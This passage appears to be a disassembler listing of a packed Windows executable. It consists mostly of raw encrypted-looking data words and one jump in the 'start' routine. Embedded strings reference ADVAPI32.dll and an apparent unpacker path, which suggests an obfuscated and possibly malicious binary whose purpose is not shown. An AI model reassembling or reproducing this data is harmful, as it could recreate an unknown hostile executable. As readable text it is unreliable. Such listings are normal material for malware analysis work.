		dd 40188CE5h, 8008C558h, 29B9AC54h, 1E9700F0h, 848A89EEh
		dd 0D8019680h, 7A02E970h, 7C3DC88Eh, 76CAD01h, 2C4BE006h
		dd 0D10580F0h, 246D281h, 0C49FE321h, 0DC799453h, 0F0FAC000h
		dd 0FD426E1h, 8F1B6739h, 4C3BD1C1h, 75282073h, 0B3C00509h
		dd 8848108Dh, 2AC9131h,	1F04E9AEh, 0B005CD1h, 0D77A980Dh
		dd 0CA59052Ah, 0A43288F3h, 824FA688h, 3030E452h, 0FC9E8Eh
		dd 0F6A6FA70h, 76CC6AC9h, 8479C8A0h, 27B83CA0h,	5AAB7203h
		dd 0DFE3BF2Bh, 0D8F64BF3h, 5D9BA6F9h, 2116FC56h, 2D00EB6Dh
		dd 94659E6Eh, 87031842h
		dd 6CEB497Ah, 18361000h, 0BDA116D6h, 0F250A002h, 3BDC0008h
		dd 0CCE0603Dh, 4B003A7Dh, 0A2224AC4h, 91F28412h, 0B400B990h
		dd 61161107h, 8B1628D7h, 0AA139FB6h, 562AFC90h,	0ACB50018h
		dd 0BBD38A82h, 4317FAFCh, 930687C3h, 0E8EF3Eh, 0D5363FF1h
		dd 6D33B9D4h, 52B21604h, 0A4804349h, 0E9842A1Fh, 4E9CB5F4h
		dd 4F8C2018h, 530161DBh, 689B63Ah, 0C83CB713h, 0ADE56903h
		dd 6014F198h, 48CD690h,	50237E18h, 1D7CB4h, 17BCAD01h
		dd 5D978A5Eh, 8B33D709h, 0DEF41027h, 2838BACFh,	1C0535h
		dd 9EE9C5C0h, 4A5E0A1Dh, 2B29060Fh, 90160012h, 1E6A5524h
		dd 4ABCFD49h, 80981E9Ah, 0AFC8B5E9h, 4E007DADh,	3D5EF018h
		dd 259D9A8h, 0AA134B7Ah, 6059157Ch, 19396A00h, 1D31C7DBh
		dd 83D9031Ch, 7BC8F7FFh, 0DD07A100h, 69982575h,	0D2E90094h
		dd 2E7C7F01h, 0EB026D36h, 0E66414E2h, 7C6486h, 2EE10E2Bh
		dd 0D8FF6BF4h, 2F3F2A7Dh, 7D321895h, 48D57B79h,	880509Bh
		dd 6FA6A11Fh, 2E2758B0h, 0F68C2315h, 50EE0E0Ah,	11E076E9h
		dd 1659779h, 48B1D018h,	55AA08h, 0A4725C33h, 0F62A09E2h
		dd 0E3F9EA1Ch, 0EDE14000h, 6059D38Eh, 580E3991h, 49E21632h
		dd 5C792900h, 4D88384Fh, 0C13000E4h, 0A3408CEDh, 1909BE28h
		dd 38F7A11h, 0B92417DBh, 498C8857h, 0F1819BB2h,	0FA624300h
		dd 978D99D7h, 382D0073h, 7DA026D8h, 0AB269B98h,	3AB15Fh
		dd 0EF47B851h, 723BE23Ah, 0F8E11DDAh, 23EBC08Fh, 8BB96CA8h
		dd 1CF9170Ch, 0B8E4616Ah, 0F72A003Eh, 0C9CC5E39h, 9F605999h
		dd 0E5A5A889h, 0F7B3A8Eh, 96FCC080h, 0B0DC7EA9h, 9A4EDD00h
		dd 18F91F3Ah, 51D66Bh, 0B547A078h, 1C31E2DCh, 0FFD1944h
		dd 0BE650880h, 7C9D2D22h, 353B8C00h, 0E5478B20h, 95AF07A0h
		dd 4C5ECD81h, 6A0E7C81h, 0A5DE0821h, 4AC04737h,	0EC240987h
		dd 50D7608Fh, 7F401D01h, 11252E30h, 0A23B66h, 0CB99BF75h
		dd 0AC6AE53Dh, 0CF31E03h, 0E0E131B2h, 57F265h, 0EEE336A3h
		dd 5C394574h, 0A9C2AE0Bh, 0B95D0C31h, 30687E4Bh, 213EE3FBh
		dd 73009691h, 6B1E2465h, 484B4AB7h, 43801C58h, 0A136183Dh
		dd 0ECB2902h, 8093413Fh, 50A822C0h, 145900E7h, 9E53B357h
		dd 0CC184CA7h, 6CB9DD2Eh, 5ACD00E2h, 3257D617h,	3000BC69h
		dd 74432A8Ah, 1E4B6E26h, 4384DFB5h, 6D5846F0h, 1B6B7900h
		dd 459E1A11h, 70503110h, 20444A19h, 0F0EBDF10h,	19C19278h
		dd 0D18C4F60h, 0B1097986h, 92EAF141h, 80FD58h, 83473D29h
		dd 0F84D1C5h, 0E971FBFAh, 2A61F080h, 0A900295Fh, 0E6379AE1h
		dd 5C43AF85h, 3600E94Dh, 86FE8832h, 4807A1B6h, 0E49B2FC7h
		dd 0C2DA5501h, 40000422h, 82B4F7EDh, 0DCF077CFh, 803C5848h
		dd 99B50290h, 0E662E6F3h, 9EC500DBh, 9A2D66CAh,	7800E9EDh
		dd 61738BEh, 30AC5FA8h,	0C9590BC2h, 0B70EAB30h,	0E0F869BCh
		dd 0C9B2E33h, 0D821DD11h, 8FE7F9FFh, 896EF607h,	0ADC0BDFCh
		dd 0C00EC2E1h, 8D473E29h, 27127409h, 0A0021935h, 902930CDh
		dd 4D08D8h, 2F5C78ADh, 0B5E7C6BCh, 0E3BA501Ch, 0C31EF74Eh
		dd 0C62E4B8Eh, 5F700031h, 2C47F42h, 0BD015192h,	6A20D4Ah
		dd 6040FD57h, 2972947Ch, 0BCF04FCAh, 0BC734D8Ah, 918607B4h
		dd 0AA81303Eh, 4300A8C9h, 9EE6D30Eh, 0A5218C6h,	632DF9FFh
		dd 898C86E8h, 3A0F81D4h, 0C0BF0F29h, 0A5AFFBE2h, 3FA90130h
		dd 818C6945h, 5F2992FCh, 0F5B11427h, 0BD4BCC1h,	347E091Ah
		dd 3080F9E2h, 98586231h, 3F7829C0h, 0C503CAh, 9922618h
		dd 9B428C5Dh, 0D904E237h, 2129A981h, 5CD9B930h,	4D0AABFFh
		dd 8024FDE2h, 29BF5309h, 0B03BDEDAh, 0AB869ECAh, 19AF2E81h
		dd 0CC2216F9h, 0E248C804h, 0AFD4C817h, 5C00F8B8h, 0E73B7D18h
		dd 29E2950Bh, 8844EF0h,	58A4D185h, 86804910h, 8CA8334Ah
		dd 0E49A4700h, 7FD4D9Fh, 0E3A9018Dh, 0BF50F94Fh, 0A33420BAh
		dd 591CB200h, 110FE9Eh,	22B890EAh, 9B1A9463h, 80F1061Dh
		dd 8F4AA2BCh, 0C0C2B8E5h, 0F45C6071h, 1C1EF741h, 840A60Ch
		dd 0C234A235h, 3CAEF858h, 0C813BE3Fh, 882C304Ch, 0E0005E37h
		dd 0D9F1ABBBh, 0F2991621h, 86A800D2h, 0FFF61490h, 0A905E73Ah
		dd 55293B8Bh, 534090C7h, 5215E242h, 90118495h, 5C5F28DEh
		dd 0B309577Ah, 80DB6D30h, 0E71AE6E0h, 772D3C2Ch, 0E59AAA04h
		dd 0C0384F04h, 581E1C59h, 0A141C393h, 179024E9h, 0E2146F8Fh
		dd 1C386B29h, 0CB804740h, 22173AF5h, 81DB602Fh,	6379B572h
		dd 0E5ABFB0Fh, 629A099h, 60ECC740h, 0DF33AA4Ah,	0B150DB22h
		dd 62003E60h, 35FFC0C1h, 60C3BD15h, 0A1949912h,	6C0A119Ah
		dd 0DC5134D4h, 10468503h, 52A9E655h, 2B07FCB1h,	0DB9E5203h
		dd 4AC77380h, 80C07498h, 3FE3CE9Ch, 35A00143h, 18E275A9h
		dd 7E1E1094h, 2FE01F3Bh, 0FAB08C44h, 7009819h, 5E649025h
		dd 1C71D939h, 401EF630h, 139FEA4Eh, 2A12526Eh, 44248E47h
		dd 62D4F030h, 466C1D44h, 13259F3Ah, 0A0F008F6h,	0CEEFE480h
		dd 1EC77433h, 0C0B11088h, 0C38DE794h, 6800E80Dh, 8F571C49h
		dd 50E4E6AEh, 0C0D69F6Ah, 0B8EBF969h, 0AFEAA187h, 4C38C200h
		dd 0B0497CDFh, 34C1C04Fh, 0C4F7978Ah, 5D6FB80Fh, 43003E9Ch
		dd 9ACB8230h, 890F3C70h, 0E00EE283h, 0B3D1DA2Ch, 61B5F47Ah
		dd 0BB95C00h, 1D73ACCAh, 0DBAB0043h, 0EED42B59h, 463061B8h
		dd 0E36748E1h, 3ACE89Dh, 0E2EA1A02h, 50751DDAh,	6B824E00h
		dd 697F92B0h, 19C40099h, 0F65C8E04h, 59001364h,	0AB0BE8D6h
		dd 0C0B6ACF3h, 0F8935089h, 261F7A07h, 18BA3161h, 29A91768h
		dd 5CD138AFh, 25747D01h, 0F48B33BEh, 4D0E53FCh,	80B4D64Eh
		dd 9950DDF8h, 10C96049h, 2B9DE1AEh, 1545A601h, 0E4337912h
		dd 7C4A7180h, 0F0C3BE86h, 2D259A07h, 1EC8D03Ch,	341700F9h
		dd 0A0DD6495h, 0F165190Fh, 0E76DA787h, 2B1D2AE0h, 18693755h
		dd 738A01A1h, 0E415E168h, 2C069965h, 0EF331F2Fh, 5B30071h
		dd 0D1747FA6h, 15002E44h, 24417672h, 3F6C5EBDh,	0B680EAF1h
		dd 0D8583B63h, 0C00A48A2h, 0AC14311Eh, 35670681h, 0BA30DDA0h
		dd 0F8994B53h, 862039DCh, 8936F5ABh, 5AC300C1h,	0E415C0FAh
		dd 58004801h, 0CB766086h, 2835658Eh, 0B80D6Eh, 0B80839DBh
		dd 4C701940h, 0AE121003h, 1B68FEh, 91393AD9h, 0D51DE25h
		dd 70F93Bh, 1016DB3Bh, 29867F53h, 149C9AB8h, 0B687886Fh
		dd 0E7FE8054h, 0AC00F831h, 0DE04AAF3h, 12B5A2C4h, 4DA2043h
		dd 88B83394h, 927BE900h, 3BF7AB00h, 0F54BAEE2h,	0B5DE001Ch
		dd 7D2A456Fh, 1D7F83DCh, 0EF711560h, 0B79BE5h, 99D3A1A8h
		dd 0C99ACD3Ch, 2AE0B48h, 255DA2E3h, 0D85440DAh,	2A776F4h
		dd 63C8A96Eh, 61402D56h, 0B0A820D4h, 1F05BF75h,	0F7554BC9h
		dd 0B461DC80h, 67EC2C46h, 97DB00FFh, 7EA8F4FAh,	522CCB01h
		dd 1C371D5Fh, 134841BBh, 63F08045h, 96891905h, 70FFE1B3h
		dd 0F4487522h, 123B00A4h, 4067C8C0h, 316F09B7h,	6F876097h
		dd 999C100Ah, 0C800B3A7h, 6E460D2Eh, 348BD2Ah, 0B0EDCBBEh
		dd 20C625C6h, 0AF97631Dh, 23D59A07h, 0AE7A81FEh, 88801A69h
		dd 0FA81722Dh, 4D007353h, 0D29C7B70h, 0BFDB37h,	0C03ED841h
		dd 522D39FEh, 0A454D406h, 10013Ah, 0DC400A53h, 295FFED2h
		dd 7D0180EAh, 48E8EFD7h, 29803CAAh, 96A0DFD1h, 0D900FB51h
		dd 485F6DC1h, 3748494h,	0ACE40CCh, 0E1E05CBEh, 8F03DB7Fh
		dd 0D472D25Bh, 522BE158h
		dd 0C0074880h, 0DB7BC443h, 152F8000h, 0AA3687D0h, 0CC50064h
		dd 0CE7F1E78h, 0D0A2174h, 5C963F4Eh, 0A4DE8005h, 574809h
		dd 69C7A65Fh, 61456066h, 70BB5121h, 0AEF5A200h,	8043ADC6h
		dd 65B40A86h, 0E69267h,	18335601h, 0AE0F8C24h, 64BC6F03h
		dd 0C0C0237Dh, 0F6AF853h, 0BF7C5143h, 7731A060h, 1A00A125h
		dd 87B4F270h, 0EC00654h, 0A2E9783Eh, 5AD6F801h,	95A99E55h
		dd 86D23F80h, 0F9AF17Bh, 8B3A6228h, 0DC92D783h,	3DA589E0h
		dd 67EEC9C0h, 7C89B16h,	6A8D98A4h, 0CF258F76h, 79B000B0h
		dd 9982B95Fh, 0A5BEB207h, 90C7FC51h, 724E414Ch,	0AD7361h
		dd 0D5E6959Eh, 6C7DBE15h, 3A9CC401h, 2ABF5AF1h,	68A89050h
		dd 0DA8600D5h, 5EAA2D1h, 0DB00083Ah, 9389540Bh,	556727B5h
		dd 0AEC8948Ch, 0FD7F07A9h, 0A18DE618h, 20689040h, 0B772B273h
		dd 0B1F07400h, 59886378h, 692660C8h, 566E91AAh,	0B332FA00h
		dd 0D5104277h, 0BB3F1580h, 69189428h, 4E8C698Eh, 0DFEC784Eh
		dd 877B8D00h, 1FE8164Ah, 9F138301h, 0B2E96DC4h,	605B35D0h
		dd 0D9A34150h, 0FE00EDE7h, 0C690065Ah, 3143AEBDh, 1203EDDh
		dd 0D07AFD7Bh, 86F83623h, 48193D60h, 746FBCh, 28C5C19Bh
		dd 0B33EB6D9h, 0F07CC401h, 3BA55986h, 111BB050h, 0F26B1C83h
		dd 5CC20066h, 427A5D7Eh, 513C8C31h, 80E06BC4h, 1CA45056h
		dd 6E9838F9h, 0D8B93481h, 0D08EDA72h, 9BA0B4B5h, 662A3D8Ah
		dd 0F805808Dh, 6999FE3h, 7F0C6DC0h, 0C67A00F3h,	93208C78h
		dd 0E2184033h, 0A7714668h, 0F02C008Ah, 5C06B7C1h, 6206ACE3h
		dd 40A5D097h, 55243881h, 0B8587A80h, 7E3413C8h,	0D0884298h
		dd 8A0E6FAFh, 1EFF35B0h, 71205B07h, 69C603Ah, 0EC458C80h
		dd 60A57FE0h, 62631947h, 0E400A689h, 0D4386BF9h, 23EB107h
		dd 0FA05EF95h, 6AE0F87Fh, 500A76DCh, 0D8045AB0h, 20D1038Eh
		dd 0EF5B1388h, 4C6106B6h, 2165983Fh, 80086648h,	7961720h
		dd 0F8F46Ah, 71FAAC74h,	7B48FFA4h, 5D67C02h, 40877F90h
		dd 1FE036C4h, 0CC152B72h, 43A939A7h, 4CF8D452h,	714B0E10h
		dd 0BC209218h, 1D496C4Fh, 87D40D82h, 90B8402Bh,	36D561A0h
		dd 0FFB9441Ah, 340C8799h, 0D8217F95h, 0A4503E66h, 0AD6D99h
		dd 7B253CEEh, 6D09CE6h,	0A534E900h, 0DB4E785Bh,	0A0CE7786h
		dd 174D414Ch, 0E11BAEFh, 5980F0A4h, 0B1F15B70h,	0C34BE3Ah
		dd 613F6154h, 0BC8A00F7h, 0B33568A3h, 7B004BF8h, 0E2D2F921h
		dd 0C01D660Fh, 7E59829h, 0B400E008h, 0A6CAAE3Dh, 2E966B7h
		dd 0BDF5FA3Fh, 7C405DEAh, 5188233h, 0CD913EA5h,	0D8AE00DBh
		dd 0AC8E9667h, 0CF1C2855h, 6ACBF2BFh, 0CC0800A5h, 985E332Fh
		dd 679D0140h, 0F78CED79h, 0D416CCBFh, 8B442E1Ch, 61BC49C0h
		dd 98EC7236h, 3F841294h, 7ED820BDh, 0A101A055h,	4A0C5159h
		dd 5AD0D823h, 7721C04Fh, 0B286F378h, 0F705D27Ch, 0D7C817A8h
		dd 0C6109387h, 1FACE07Dh, 89133070h, 0BC07B083h, 60411D58h
		dd 0C20EC86Dh, 20AAF9FBh, 6312A338h, 507E07CEh,	527940D0h
		dd 841156Fh, 0D05EED61h, 41C05359h, 7BA4A7FEh, 7BC98F9h
		dd 3F557F83h, 801915C0h, 0BAAB0850h, 5786F119h,	611052D8h
		dd 0C0000CD9h, 38ACDF46h, 101DCCCFh, 0F4368DCh,	20A9A101h
		dd 0D155C790h, 6BA00A3h, 989DA2D2h, 62E367A7h, 17007660h
		dd 0E554BFB9h, 90552E80h, 0AC840120h, 0AD48AE33h, 0DC5415h
		dd 4EE285CCh, 0EFE6C40Eh, 738D300h, 6C8B98D2h, 0E03B03BFh
		dd 48296E8Dh, 7E1C23BDh, 0C7C985A8h, 4EF4B212h,	596A0C01h
		dd 898CD9C2h, 513142A2h, 6000CC71h, 8AE0E133h, 44DFB9h
		dd 0E4FC9D04h, 6798BEDEh, 0EC1C3F50h, 0CB3C27E0h, 0FEF7804Ch
		dd 0FB025F6Ch, 61041834h, 6FF5291Bh, 4EE43003h,	0C80343FFh
		dd 0B9D2C7h, 2885BC95h,	0D8103F68h, 89C7A474h, 0F750596Eh
		dd 96AC1Dh, 3CD25D3Dh, 25C17CAAh, 4E0F04Ch, 46E29EBEh
		dd 0F9821483h, 6443A551h, 0CD5B0FCh, 2C7200ABh,	4A255578h
		dd 730B21EDh, 4F2C077h,	44442694h, 585C88BEh, 0C1A0C658h
		dd 2EC45F87h, 1CC7EDCh,	0D8E11DC5h, 975D5992h, 803FC31h
		dd 0A10BAE9Ah, 2C2201C2h, 0A8D70E00h, 4E42EFB4h, 104A6924h
		dd 196A9C80h, 0E2D63C33h, 0DF4B001Ch, 7EC7AF4Ch, 0D4020EE8h
		dd 4998933Eh, 2C8E6C4h,	0ECBB0C96h, 0C04032F3h,	43F45098h
		dd 80807F58h, 0A0D1B4D6h, 0AEA83C20h, 6F0014D8h, 4CAD2BB3h
		dd 426066D2h, 0BE71E5D9h, 75F2447h, 9C1E34h, 0DCB3FB80h
		dd 0C11FCBC9h, 440641D2h, 0FCE954C0h, 51790071h, 62C27B83h
		dd 0AC90E037h, 22D48A5Ch, 203013Eh, 3D752154h, 83C0EB6Eh
		dd 8B0B903Ah, 10A4DF82h, 0B8943058h, 0DBC81C10h, 0E7114059h
		dd 6258766Fh, 0D9271C0h, 33A096h, 0B7CF7493h, 0B563DEE0h
		dd 53D2E3Dh, 0A8844A16h, 7A306B87h, 0F88EE35Fh,	77BE1C19h
		dd 95F9C588h, 2EC205Ah,	0B106F72Ah, 48A21CB2h, 10A90289h
		dd 595F0C0Ah, 0BA9A9E83h, 3D0F818Fh, 0C787C4BEh, 5A395113h
		dd 0DA801C20h, 502A077Fh, 96A7C76h, 0C959C384h,	0C8D304Ch
		dd 6B4E4500h, 5EA1AEB9h, 75EB00FCh, 0A0C00719h,	481863C4h
		dd 391031D4h, 52902449h, 815660D8h, 66303645h, 0D6081927h
		dd 0CA6506B2h, 7033476Ah, 29E511E3h, 0E9C0C4h, 8E7736FDh
		dd 0A849FAFCh, 581F693Ah, 0BE660368h, 236740h, 55764351h
		dd 0FE0E59A9h, 0CD01A790h, 0A31A78E3h, 0B4604D5Eh, 0A53A2468h
		dd 0EAE046C8h, 0AC000875h, 5246425h, 3F88AD59h,	0E20027DFh
		dd 8E6E73E7h, 1400B960h, 6974B342h, 92446638h, 7EDF0050h
		dd 73151AD5h, 570613CEh, 40D843E3h, 67BE0721h, 998F17C7h
		dd 0DB500055h, 8986F2h,	3B6538ADh, 615DEBB6h, 1B00C8B1h
		dd 993417A0h, 0E3FD0E0Bh, 0C11D9E3Fh, 0B66F275Ch, 3D6091AFh
		dd 36A5B905h, 0FCEC8869h, 0CF8C7507h, 29B6B3h, 0D1480F7Bh
		dd 0E90D018Bh, 3E408082h, 902966h, 88D3E351h, 1E5B7347h
		dd 47B3BA15h, 3762Fh, 0F343CF91h, 0A5BC7F13h, 1BA4C020h
		dd 0A1F914BFh, 65142438h, 0FE1EFF92h, 80EF9E9Dh, 69A01071h
		dd 1B00F790h, 58014E38h, 4B36A78h, 0C18DE316h, 0C078C7B6h
		dd 43EB5F82h, 0BD58C805h, 0B111612Ah, 0C4AD0088h, 0F33F078Fh
		dd 0CCC8CA12h, 0FFFF5F01h, 6Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_546A16:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_549F3F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0BCh
		dd 24A6Bh, 0FF000000h, 0FFFFFFh, 90000000h, 1C099Fh, 4 dup(0)
		dd 0E8000000h, 0A223h, 6 dup(0)
		dd 92000000h, 57BAh, 54000000h,	12FFh, 88000000h, 321504h
		dd 87000000h, 5911h, 9 dup(0)
		dd 4000000h, 0
		dd 1000000h, 3 dup(0)
		dd 4B000000h, 0DB0057E9h, 5863h, 7 dup(0)
		dd 80000000h, 0Eh, 43000000h, 2D8D8Fh, 2 dup(0)
		dd 0B9000000h, 0D70057ECh, 5881h, 2 dup(0)
		dd 0BA000000h, 6Bh, 0
		dd 2E000000h, 3F00A15Eh, 6C005AE0h, 234F0Dh, 2 dup(0)
		dd 1A000000h, 59F2h, 3 dup(0)
		dd 40000000h, 76B41Bh, 2 dup(0)
		dd 29000000h, 0E5F4859Dh, 0Eh dup(0)
		dd 0D8000000h, 19D208h,	3 dup(0)
		dd 4000000h, 7FFE03h, 0F8000000h, 12FEh, 2 dup(0)
		dd 0F8025B00h, 12FEh, 6	dup(0)
		dd 0FF000000h, 0E7FFFEBFh, 0A5A5h, 2 dup(0)
		dd 0EB000000h, 5800h, 19h dup(0)
		dd 68000000h, 0A215h, 0
		dd 8000000h, 8D0012FDh,	0EADA8Dh, 5 dup(0)
		dd 0DF000000h, 53A9C530h, 4300A58Dh, 56h, 20h dup(0)
		dd 0F7000000h, 0A109h, 4 dup(0)
		dd 14000000h, 77E836h, 0
		dd 82000000h, 69C614h, 2 dup(0)
		dd 200h, 6 dup(0)
		dd 0B8000000h, 0
		dd 16000000h, 0B8h, 0A2000000h,	343h, 0DF000000h, 30h
		dd 3 dup(0)
		dd 0F000000h, 0A1A0h, 0
		dd 66000000h, 0FFA1C0h,	37000000h, 46005BCEh, 0F80058B0h
		dd 5490h, 31000000h, 2F4h, 77E600h, 2 dup(0)
		dd 0BD000000h, 0FF0059F1h, 3B7286DAh, 1C5h, 4000000h, 7FFE03h
		dd 4 dup(0)
		dd 0E2000000h, 0DB8002CBh, 76B727h, 5D000000h, 5B50h, 2	dup(0)
		dd 14000000h, 0E00h, 4 dup(0)
		dd 60000000h, 3EC667h, 0CC000000h, 77DD5Eh, 37000000h
		dd 0A19Ch, 64000000h, 12FFh, 48000000h,	0EF005832h, 77E793h
		dd 0FF000000h, 0FFA5CCh, 5 dup(0)
		dd 1F0900h, 0C4000000h,	12FFh, 2 dup(0)
		dd 1A000000h, 53000006h, 59F2h,	5 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 1C000000h, 70C205h, 8 dup(0)
		dd 68000000h, 0A232h, 4000000h,	7FFE03h, 1000000h, 9 dup(0)
		dd 0B4000000h, 0E800006Ah, 0A4000005h, 0
		dd 1C000000h, 70C205h, 37000000h, 0DD1014CBh, 0A169h, 4	dup(0)
		dd 0E9000000h, 10B7h, 0
		dd 0CD000000h, 0FE4576h, 6 dup(0)
		dd 0FE000000h, 0FFFFFFh, 0
		dd 18000000h, 30058BBh,	5774h, 79000000h, 0DD005A49h, 0A169h
		dd 4 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 0D0000000h, 58C5h, 2	dup(0)
		dd 0B8000000h, 270057A8h, 5474h, 0E8000000h, 77E82Fh, 0B8000000h
		dd 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF00A1h, 424448Bh
		dd 0E0FFh, 14h dup(0)
		dd 8B000000h, 5C9Ah, 2 dup(0)
		dd 3E000000h, 77E600h, 4 dup(0)
		dd 19000000h, 6	dup(0)
		dd 8D000000h, 7CEFDC8Dh, 59BAh,	0
		dd 0F7000000h, 0A600A109h, 0A8EB1FC9h, 0
		dd 18000000h, 0F005819h, 0A1A0h, 6 dup(0)
		dd 0BF000000h, 2D7FFFFFh, 1308D9h, 0F000000h, 0BAFFB751h
		dd 5Ah,	3 dup(0)
		dd 4000000h, 9 dup(0)
		dd 0D8000000h, 49374h, 9 dup(0)
		dd 60000000h, 0F9958Bh,	0
		dd 3D000000h, 72005754h, 9B2579h, 50000000h, 7FECFCh, 0
		dd 0D8000000h, 19D208h,	3 dup(0)
		dd 37000000h, 21005BCEh, 212121h, 0
		dd 0FC000000h, 8001FCh,	0A0000000h, 77FC6Fh, 0
		dd 1000000h, 0
		dd 59000000h, 0FFF34Eh,	4 dup(0)
		dd 0B0000000h, 2C0211FFh, 0FFFE8Ch, 2Ah	dup(0)
		dd 93000000h, 0A193h, 0
		dd 0BA000000h, 0FF53FFh, 0
		dd 4000h, 9 dup(0)
		dd 73000000h, 0F1A36D0h, 0A1A0h, 8 dup(0)
		dd 23000000h, 0A2000011h, 5B9Ch, 3 dup(0)
		dd 1000000h, 2 dup(0)
		dd 37000000h, 77E7A8h, 0
		dd 0EA000000h, 1E43E0h,	5 dup(0)
		dd 0A9000000h, 72BB8CBCh, 5C86h, 0
		dd 32000000h, 5B56h, 0
		dd 3E000000h, 835113h, 4000000h, 7FFE03h, 900h,	0
		dd 0DF000000h, 1A9C530h, 50000000h, 0FE4E00h, 3	dup(0)
		dd 56000000h, 0A1FAh, 5D000000h, 5B52h,	0
		dd 0E8000000h, 0D9000006h, 50005C9Bh, 0FFFFA2h,	5D000000h
		dd 38E13Fh, 0DF000000h,	0CDCD2EBDh, 5B32h, 4 dup(0)
		dd 2E000000h, 44CDD842h, 60C246DAh, 0FFA5FBh, 0FD000000h
		dd 1777E7A5h, 5498h, 73000000h,	59E0h, 7 dup(0)
		dd 2000000h, 4 dup(0)
		dd 0AC000000h, 671C1Ch,	0
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Ch dup(0)
		dd 8B000000h, 5C9Ah, 0Fh dup(0)
		dd 0B1000000h, 7A5993h,	3 dup(0)
		dd 1B000000h, 1E2A07C4h, 0A239h, 6 dup(0)
		dd 0D9000000h, 3F819B6Eh, 77E7A1h, 4 dup(0)
		dd 5B00AF00h, 0
		dd 80000000h, 0
		dd 17000000h, 0E2FFEF48h, 8064B6h, 10h dup(0)
		dd 4000000h, 1C7FFE03h,	0E470C205h, 0FFFE68h, 0
		dd 0B6000000h, 57FCh, 93000000h, 0FE9B65h, 0
		dd 34000000h, 763706h, 2 dup(0)
		dd 4E000000h, 99CF3h, 0
		dd 0C4000000h, 5A64h, 8	dup(0)
		dd 0A4000000h, 12FFh, 2	dup(0)
		dd 0C9000000h, 6B5h, 3 dup(0)
		dd 0DF000000h, 546Fh, 0
		dd 67000000h, 5B31h, 6 dup(0)
		dd 1A001D30h, 0A19Dh, 0
		dd 68000000h, 77E83Eh, 2 dup(0)
		dd 0A1000000h, 599Ah, 0BA000000h, 8E00006Bh, 0ADEB8Eh
		dd 3 dup(0)
		dd 1000000h, 5E005CA0h,	0CDBB8669h, 77E776h, 0C4000000h
		dd 402Eh, 4 dup(0)
		dd 5D000000h, 38E13Fh, 28C00h, 4 dup(0)
		dd 2000000h, 0BA000000h, 0FF53FFh, 7 dup(0)
		dd 0A4000000h, 12FFh, 0
		dd 8B000000h, 0A1384Fh,	7 dup(0)
		dd 3C000000h, 22000000h, 22222222h, 222222h, 3 dup(0)
		dd 7C000000h, 0DB005A55h, 0A4005C85h, 0
		dd 76000000h, 66D3F4h, 0
		dd 94000000h, 0B00003Dh, 77F518h, 0
		dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 39h dup(0)
		dd 9C000000h, 0E9024A6Bh, 77EBA6h, 0
		dd 0CE000000h, 401A28Ch, 7FFE03h, 47000000h, 0C43513B5h
		dd 7506B0h, 7 dup(0)
		dd 2F000000h, 5B58h, 0
		dd 5E000000h, 77E7ACh, 54000000h, 12FFh, 3 dup(0)
		dd 0C4000000h, 402Eh, 0
		dd 0A000000h, 0A18Ch, 24A00h, 4	dup(0)
		dd 68000000h, 57A8h, 0EC000000h, 1D286h, 0
		dd 2E000000h, 77E76Ah, 2 dup(0)
		dd 1A000000h, 6, 2A000000h, 5819h, 0
		dd 0DD000000h, 0A169h, 0
		dd 0F4000000h, 1638Ch, 7 dup(0)
		dd 0CD000000h, 5860h, 0B0000000h, 151FFh, 0A9000000h, 94h
		dd 4 dup(0)
		dd 0CD000000h, 3 dup(0)
		dd 50000000h, 46CABE8Fh, 0FFFF94h, 9A000000h, 0BD6939D2h
		dd 7EEF5Fh, 11000000h, 1D111111h, 1A2B0Eh, 0
		dd 0D7000000h, 5816h, 6	dup(0)
		dd 8D000000h, 106538Dh,	0Ah dup(0)
		dd 23000000h, 0
		dd 1000000h, 4 dup(0)
		dd 28000000h, 68DFF3CBh, 221h, 64000000h, 540012FFh, 0FFh
		dd 90000000h, 9, 3 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0Bh dup(0)
		dd 8000000h, 12FDh, 5 dup(0)
		dd 0DF000000h, 0A9C530h, 5 dup(0)
		dd 0BA000000h, 5400006Bh, 12FFh, 8 dup(0)
		dd 0D0000000h, 6585h, 10000000h, 5Fh, 0
		dd 4000000h, 67FFE03h, 0
		dd 90000000h, 0C40057A8h, 0FFFE6Ch, 4 dup(0)
		dd 6C000000h, 10h, 0
		dd 0DB000000h, 5863h, 4000000h,	7FFE03h, 0B0000000h, 241FFh
		dd 23000000h, 5400h, 0
		dd 1A000000h, 5771h, 6 dup(0)
		dd 23000000h, 0FFA7AEh,	0DB000000h, 0FFA63Ah, 3	dup(0)
		dd 0F4000000h, 0FFFFA2h, 0Dh dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 8F000000h, 0ECCAD3h,	8 dup(0)
		dd 26000000h, 7FA75Bh, 8 dup(0)
		dd 69000000h, 1005B70h,	0AC005A33h, 3 dup(0)
		dd 1000000h, 2 dup(0)
		dd 0D2000000h, 5881h, 89000000h, 898F59h, 0BA000000h, 6Bh
		dd 6 dup(0)
		dd 0C4000000h, 0A170h, 3 dup(0)
		dd 34000000h, 14h, 0
		dd 0D1000000h, 78000007h, 0B3005A3Ah, 7FFED0h, 3 dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 8C000000h, 587Eh, 0Ah dup(0)
		dd 0F000000h, 5B0057A6h, 0FFFFCBh, 0Dh dup(0)
		dd 0B9000000h, 5A46h, 82000000h, 77E78Bh, 0C4000000h, 0FFFE6Ch
		dd 0
		dd 38000000h, 5BB6h, 0
		dd 9E000000h, 58C4h, 4 dup(0)
		dd 7F000000h, 0C9h, 0Ah	dup(0)
		dd 2C000000h, 5832h, 2 dup(0)
		dd 0E0000000h, 0B2h, 3 dup(0)
		dd 0FC000000h, 0FFFFFCh, 6 dup(0)
		dd 2000000h, 0
		dd 0F0000000h, 17001446h, 0FFEF48h, 0Ah	dup(0)
		dd 2B000000h, 2	dup(0)
